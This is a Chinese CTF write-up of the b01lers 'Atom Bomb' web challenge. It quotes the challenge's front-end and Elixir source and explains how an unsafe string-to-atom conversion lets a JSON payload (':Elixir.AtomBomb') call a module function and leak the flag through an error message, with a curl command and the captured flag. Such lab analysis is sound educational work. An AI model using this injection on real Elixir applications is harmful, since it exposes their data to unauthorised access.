当前位置: 首页 > news >正文

利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb

题目信息: This new atom bomb early warning system is quite strange…

题目使用 elixir 语言

一开始,我们会访问 /page.html

<!DOCTYPE html>
<!-- 设定文档语言为英语 -->
<html lang="en">
<head><!-- 设定字符编码为UTF-8 --><meta charset="UTF-8"><!-- 适配不同屏幕尺寸 --><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 网页标题 --><title>Atom Bomb Alert System</title><style>body {/* 设置字体为Arial,若不可用则使用无衬线字体 */font-family: Arial, sans-serif;/* 深灰色背景 */background-color: #1a1a1a; /* 浅灰色文字 */color: #e0e0e0; /* 外边距为0 */margin: 0;/* 内边距为20px */padding: 20px;/* 使用弹性布局 */display: flex;/* 垂直排列子元素 */flex-direction: column;/* 水平居中内容 */align-items: center; }button {/* 红色背景 */background-color: #d9534f; /* 白色文字 */color: white;/* 无边框 */border: none;/* 内边距 */padding: 10px 20px;/* 圆角边框 */border-radius: 5px;/* 字体大小 */font-size: 16px;/* 鼠标悬停时显示手型光标 */cursor: pointer;/* 按钮下方间距 */margin-bottom: 20px; /* 背景颜色过渡效果 */transition: background-color 0.3s; }button:hover {/* 鼠标悬停时更深的红色 */background-color: #c9302c; }div {/* 宽度占容器的100% */width: 100%; /* 最大宽度为400px */max-width: 400px; /* 元素下方间距 */margin-bottom: 20px; /* 更深的卡片背景色 */background-color: #2a2a2a; /* 内边距 */padding: 15px;/* 深色边框 */border: 1px solid #444; /* 圆角边框 */border-radius: 5px;/* 深色阴影 */box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); }h2 {/* 红色标题,强调紧急性 */color: #d9534f; /* 标题居中 */text-align: center;}h6 {/* 浅灰色副标题 */color: #bbb; /* 上方间距 */margin-top: 20px;/* 下方间距 */margin-bottom: 5px;}p {/* 段落深色背景 */background-color: #333; /* 段落深色边框 */border: 1px solid #555; /* 段落内边距 */padding: 10px;/* 段落圆角边框 */border-radius: 5px;/* 段落外边距 */margin: 5px 0 20px 0;}img {/* 图片最大宽度为容器的100% */max-width: 100%;/* 图片高度自适应 */height: auto;/* 图片深色边框 */border: 1px solid #444; /* 图片圆角边框 */border-radius: 5px;}#danger {/* 字体加粗 */font-weight: bold;/* 字体大小为1.2倍 */font-size: 1.2em;/* 红色文字 */color: #d9534f; /* 文字居中 */text-align: center;}/* 当屏幕宽度小于等于600px时的样式 */@media (max-width: 600px) {body {/* 减小内边距 */padding: 10px;}button {/* 按钮宽度占满容器 */width: 100%;}}</style>
</head>
<body><!-- 主标题 --><h2>Welcome to Atom Bomb Alert System</h2><!-- 点击按钮触发检查炸弹警报的函数 --><button onclick="check_alert()">Check for bomb alert</button><div><!-- 炸弹详情标题 --><h2>Bomb Details</h2><!-- 炸弹位置副标题 --><h6>Bomb Location</h6><!-- 用于显示炸弹位置的段落 --><p id="location"></p><!-- 炸弹高度副标题 --><h6>Bomb Altitude</h6><!-- 用于显示炸弹高度的段落 --><p id="altitude"></p><!-- 炸弹威力副标题 --><h6>Bomb Power</h6><!-- 用于显示炸弹威力的段落 --><p id="power"></p></div><div><!-- 危险评估标题 --><h2>Danger Assessment</h2><!-- 用于显示危险评估信息的段落 --><p id="danger"></p><!-- 用于显示原子炸弹爆炸图片的元素 --><img id="explosion" alt="Atom Bomb Explosion"></div>
</body>
</html><script>
/*** 从服务器获取炸弹信息* @returns {Promise<Object|null>} 包含炸弹信息的对象,如果出错或响应失败则返回null*/
async function get_bomb() {try {// 发送请求获取炸弹信息const responce = await fetch("/atom_bomb");if (responce.ok) {// 若响应成功,解析响应为JSON格式并返回return await responce.json();} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹的危险程度* @param {Object} bomb - 包含炸弹信息的对象* @returns {Promise<string|null>} 危险评估信息,如果出错或响应失败则返回null*/
async function check_bomb_danger(bomb) {// 将高度转换为特定格式(此处代码可能有误,推测是注释错误,原意可能不是转换为原子)bomb.altitude = ":" + bomb.altitude;// 构建请求体payload = {impact: {bomb: bomb}};try {// 发送POST请求检查炸弹危险程度const responce = await fetch("/bomb_impacts", {method: "POST",body: JSON.stringify(payload),headers: {"Content-Type": "application/json",},});if (responce.ok) {// 若响应成功,解析响应并返回危险评估信息return (await responce.json()).message;} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹警报并更新页面信息*/
async function check_alert() {// 获取炸弹信息const bomb = await get_bomb();// 获取用于显示炸弹位置、高度和威力的元素const location = document.getElementById("location");const altitude = document.getElementById("altitude");const power = document.getElementById("power");// 更新页面上的炸弹位置、高度和威力信息location.innerHTML = bomb.location;altitude.innerHTML = bomb.altitude;power.innerHTML = bomb.power;// 获取用于显示爆炸图片的元素const explosion = document.getElementById("explosion");// 更新爆炸图片的源地址explosion.src = `/images/atom${bomb.explosion_type}.png`;// 获取炸弹危险评估信息const message = await check_bomb_danger(bomb);// 获取用于显示危险评估信息的元素const danger = document.getElementById("danger");// 更新页面上的危险评估信息danger.innerHTML = message;
}// 页面加载时自动检查炸弹警报
check_alert();
</script>
// 定义一个名为 AtomBomb.Router 的模块,用于处理路由逻辑
defmodule AtomBomb.Router do// 使用 Phoenix.Router 模块,并禁用助手功能use Phoenix.Router, helpers: false// 导入 Plug.Conn 模块,用于处理连接相关操作import Plug.Conn// 导入 Phoenix.Controller 模块,用于处理控制器相关操作import Phoenix.Controller// 定义一个名为 :browser 的管道,用于处理浏览器请求pipeline :browser do// 配置该管道接受的请求格式为 HTMLplug :accepts, ["html"]// 设置安全的浏览器头信息plug :put_secure_browser_headersend// 定义一个名为 :api 的管道,用于处理 API 请求pipeline :api do// 配置该管道接受的请求格式为 JSONplug :accepts, ["json"]end// 定义一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :browser 管道进行处理pipe_through :browser// 定义一个 GET 请求路由,当访问根路径 "/" 时,调用 PageController 模块的 :home 动作get "/", PageController, :homeend// 定义另一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :api 管道进行处理pipe_through :api// 定义一个 GET 请求路由,当访问 "/atom_bomb" 路径时,调用 PageController 模块的 :get_atom_bomb 动作get "/atom_bomb", PageController, :get_atom_bomb// 定义一个 POST 请求路由,当访问 "/bomb_impacts" 路径时,调用 PageController 模块的 :get_bomb_impacts 动作post "/bomb_impacts", PageController, :get_bomb_impactsend
end

似乎只有此处存在输入

POST /bomb_impacts HTTP/2
Host: atom-bomb.atreides.b01lersc.tf
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://atom-bomb.atreides.b01lersc.tf
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://atom-bomb.atreides.b01lersc.tf/page.html
Accept-Encoding: gzip, deflate, br
Priority: u=1, i{"impact":{"bomb":{"location":"idaho","power":1026,"altitude":":low_altitude","explosion_type":7}}}

继续分析其后端逻辑

  // 定义一个名为 get_bomb_impacts 的控制器动作,用于获取炸弹影响信息// conn: 连接结构体,包含请求和响应的相关信息// params: 表示请求参数def get_bomb_impacts(conn, params) do// 调用 AtomBomb.atomizer 函数对请求参数进行处理params = AtomBomb.atomizer(params)// 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并将结果赋值给 danger_message 变量danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)// 渲染名为 :danger_level 的视图模板,并传递危险等级信息作为 :danger_message 参数render(conn, :danger_level, danger_message: danger_message)
  @doc """Converts params to atoms"""# 定义一个函数 atomizer,用于将映射类型的参数中的键转换为原子def atomizer(params) when is_map(params) do# 遍历映射中的每个键值对Enum.map(params, fn {key, val} -> # 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(key) do{:ok, key} -> # 如果转换成功,递归调用 atomizer 处理值,并返回新的键值对{key, atomizer(val)}:error -> # 如果转换失败,返回 nilnilendend)|> Enum.filter(fn val -> val != nil end)|> Map.newend# 定义一个函数 atomizer,用于处理列表类型的参数,递归调用 atomizer 处理列表中的每个元素def atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)end# 定义一个函数 atomizer,用于处理二进制类型的参数def atomizer(params) when is_binary(params) do# 检查字符串是否以 : 开头if String.at(params, 0) == ":" do# convert string to atom if it starts with :# 移除字符串开头的 :atom_string = String.slice(params, 1..-1//1)# 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(atom_string) do{:ok, val} -> # 如果转换成功,返回原子val:error -> # 如果转换失败,返回 nilnilendelse# 如果不以 : 开头,直接返回原字符串paramsendend# 定义一个函数 atomizer,用于处理其他类型的参数,直接返回原参数# any other value is left as isdef atomizer(params) doparamsend
  @doc """Calculates the danger level of the atom bomb for the given location"""# 定义一个函数 calculate_bomb_danger_level,根据炸弹信息计算炸弹的危险等级def calculate_bomb_danger_level(bomb) do# 根据炸弹的高度确定缩放系数scaling = case bomb.altitude do:underground -> 0.05:surface -> 1.5:low_altitude -> 3.0:high_altitude -> 1.2:space -> 0.03end# 计算炸弹的实际威力power = scaling * bomb.power# 根据实际威力判断危险等级cond dopower < 200.0 -> "there is not much danger"power < 400.0 -> "you might get cancer"power < 800.0 -> "you should hide underground"power < 1300.0 -> "your house will be blown away"true -> "you might be cooked"endend

我们的目标应该是执行此处函数

  # 定义一个函数 bomb,尝试读取 flag.txt 文件的内容,并返回包含炸弹信息的字符串def bomb() do# 尝试读取 flag.txt 文件flag = case File.read("flag.txt") do{:ok, flag} -> # 如果读取成功,返回文件内容flag{:error, _} -> # 如果读取失败,返回默认值"bctf{REDACTED}"end"The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"end

根本搭不起来调试环境进,放弃 -------------------------------------------------------------------------------------------------------------------------------------

赛后

b01lers-ctf-2025-public/src/web/atombomb/solve at main · b01lers/b01lers-ctf-2025-public · GitHub

在 Elixir 中,原子(Atom) 是一种基本数据类型,用于表示固定值,其名称直接作为自身的值。原子是不可变的、常量,且通常用于代码中的标识符、状态标记或模式匹配。

核心特性:

  1. 名称即值
    原子的值就是它的名字,例如 :ok:error:hello。不需要额外的赋值操作。

  2. 常量且高效
    原子在内存中以唯一的形式存储(通过原子表),多次使用同一个原子不会重复占用内存。例如,无论使用多少次 :ok,内存中只有一份。

  3. 语法形式

    • 简单原子:以冒号开头,后接小写字母、数字、下划线或 @,例如 :ok:status_code
    • 带特殊字符的原子:用双引号包裹,例如 :"hello world!":"123@email.com"

常见用途:

  1. 模式匹配与函数返回值

    case File.read("file.txt") do{:ok, content} -> IO.puts("成功读取:#{content}"){:error, reason} -> IO.puts("失败原因:#{reason}")
    end
    

    函数常用 :ok/:error 表示操作结果。

  2. 作为标识符

    用于标识选项或配置,例如:

    String.split("a,b,c", ",", trim: true)
    # `trim: true` 中的 `:trim` 是原子
    
  3. 模块名称
    模块名本质是原子。例如 IO.puts/1 中的 IO 是原子 Elixir.IO 的语法糖:

    :"Elixir.IO".puts("Hello")  # 等同于 IO.puts("Hello")
    

在 Elixir 中,原子可以直接或间接用于调用函数

漏洞的核心逻辑

def atomizer(params) when is_map(params) doEnum.map(params, fn {key, val} -> case string_to_atom(key) do{:ok, key} -> {key, atomizer(val)}:error -> nilendend)|> Enum.filter(fn val -> val != nil end)|> Map.new
enddef atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)
enddef atomizer(params) when is_binary(params) doif String.at(params, 0) == ":" do# convert string to atom if it starts with :# remove leading :atom_string = String.slice(params, 1..-1//1)case string_to_atom(atom_string) do{:ok, val} -> val:error -> nilendelseparamsend
end# any other value is left as is
def atomizer(params) doparams
end
  1. 服务器如何处理请求

    • 当你发送一个JSON请求到 /bomb_impacts 接口时,服务器会调用 AtomBomb.atomizer 函数处理参数。
    • 这个函数会将参数中的键(key)和以冒号开头的值(value)转换为原子(比如 ":apple":apple)。
  2. 危险的转换

    • 如果你发送一个参数值为 ":Elixir.AtomBomb",它会被转换为原子 :Elixir.AtomBomb
    • 在Elixir中,Module.function() 本质是调用原子 :Elixir.Modulefunction 方法。
    • 所以 params.impact.bomb 会变成调用 :Elixir.AtomBomb.bomb() 函数,而这个函数直接返回了包含flag的字符串!
  3. 触发错误泄露flag

    • 服务器后续代码试图访问 bomb.altitude(认为 bomb 是一个map)。
    • 但实际上 bomb 此时是一个字符串(flag就在这个字符串里),访问不存在的字段会报错。
    • 服务器的错误处理直接把错误信息返回给用户,于是你就能看到flag了!

攻击步骤

  1. 构造一个特殊的JSON

    {"impact": ":Elixir.AtomBomb"}
    
    • 这里的 ":Elixir.AtomBomb" 会被服务器转换为原子 :Elixir.AtomBomb
  2. 发送这个JSON到服务器

    curl -X POST http://localhost:6888/bomb_impacts \-H "Content-Type: application/json" \--data '{"impact": ":Elixir.AtomBomb"}'
    
  3. 服务器处理过程

  # 定义 get_bomb_impacts 函数,处理获取炸弹影响信息的请求def get_bomb_impacts(conn, params) do# 调用 AtomBomb.atomizer 函数处理传入的参数params = AtomBomb.atomizer(params)# 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并获取危险信息danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)# 渲染 :danger_level 视图并传递危险信息render(conn, :danger_level, danger_message: danger_message)end
  • 参数处理 → 将 impact 转换为 :Elixir.AtomBomb
  • 试图调用 :Elixir.AtomBomb.bomb() → 返回包含flag的字符串
  • 后续代码访问 bomb.altitude 失败 → 报错信息中包含这个字符串
  1. 最终结果
    服务器返回的错误信息中会直接显示:
    "The atom bomb detonated...bctf{n0w_w3_ar3_a1l_d3ad_:(_8cd12c17102ac269}"
    

类比理解

假设有一个自动售货机:

  1. 正常操作:投入硬币 → 选择饮料(比如输入 {"drink": "cola"}
  2. 漏洞利用:输入一个特殊指令 {"drink": ":giveMeMoney"}
  3. 售货机错误地执行了内部函数 :giveMeMoney() → 直接吐钱

相关文章:

  • 手写 Vue 源码 === 搭建 Monorepo 环境
  • Webug4.0靶场通关笔记10- 第14关链接注入
  • 【Hot 100】 146. LRU 缓存
  • (笔记)List
  • 接口隔离原则(ISP)
  • 动态规划之多状态问题1
  • LeetCode - 19.删除链表的倒数第N个结点
  • 第十四篇:系统分析师第三遍——15章
  • 强化学习:山地车问题
  • 什么是“原子变量”?
  • 在多线程环境下如何设计共享数据结构保证原子操作与数据一致性
  • 解决奥壹oelove婚恋原生小程序上架问题,彻底解决解对问题增强版旗舰版通用
  • Ubuntu 24.04 通过 update-alternatives 切换GCC版本
  • PowerShell从5.1升级到7.X
  • C++类_运算符的重载
  • 线性DP(动态规划)
  • flask 获取各种请求数据:GET form-data x-www-form-urlencoded JSON headers 上传文件
  • 物联网智能项目之——智能家居项目的实现!
  • 开源项目实战学习之YOLO11:ultralytics-cfg-models-rtdetr(十一)
  • 循环缓冲区
  • 一网红被指涉脱衣殴打霸凌事件,沈阳警方:刑拘1人,处罚5人
  • 长沙天心阁举办古琴音乐会:文旅向深,让游客听见城市的底蕴
  • 发表“男性患子宫肌瘤”论文的杂志一年发文三千余篇,中介称可提供代写
  • 超导电路新设计有望提升量子处理器速度
  • 江南华南较强降雨扰返程,北方大部需防风沙
  • 习近平对贵州毕节市黔西市游船倾覆事故作出重要指示